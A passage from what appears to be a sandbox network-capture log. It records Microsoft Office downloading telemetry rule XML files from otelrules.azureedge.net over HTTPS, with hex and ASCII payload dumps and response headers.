2024-11-24 18:12:23 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.8	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:32 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:33 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:32 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: c3062018-b01e-003e-79df-3d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181232Z-178bfbc474bpnd5vhC1NYC4vr400000006bg000000006a7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:33 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-24 18:12:33 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-24 18:12:33 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-24 18:12:33 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-24 18:12:33 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-24 18:12:33 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-24 18:12:33 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-24 18:12:33 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-24 18:12:33 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-24 18:12:33 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.8	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:35 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:35 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 7c80c55a-a01e-0070-09e4-3c573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181235Z-178bfbc474bnwsh4hC1NYC2ubs00000006eg000000004k16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:36 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.8	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:35 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:35 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181235Z-178bfbc474btvfdfhC1NYCa2en00000006bg00000000c6et x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:36 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.8	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:35 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:35 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 070f5f04-601e-005c-0de2-3df06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181235Z-174c587ffdfn4nhwhC1TEB2nbc00000004z0000000000xzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:36 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.8	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:35 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:35 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181235Z-174c587ffdfcj798hC1TEB9bq400000004ug00000000s3ke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:36 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.8	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:35 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:35 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d279acb6-501e-0029-6110-3dd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181235Z-178bfbc474bpscmfhC1NYCfc2c00000004ug00000000ksm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:36 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.8	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
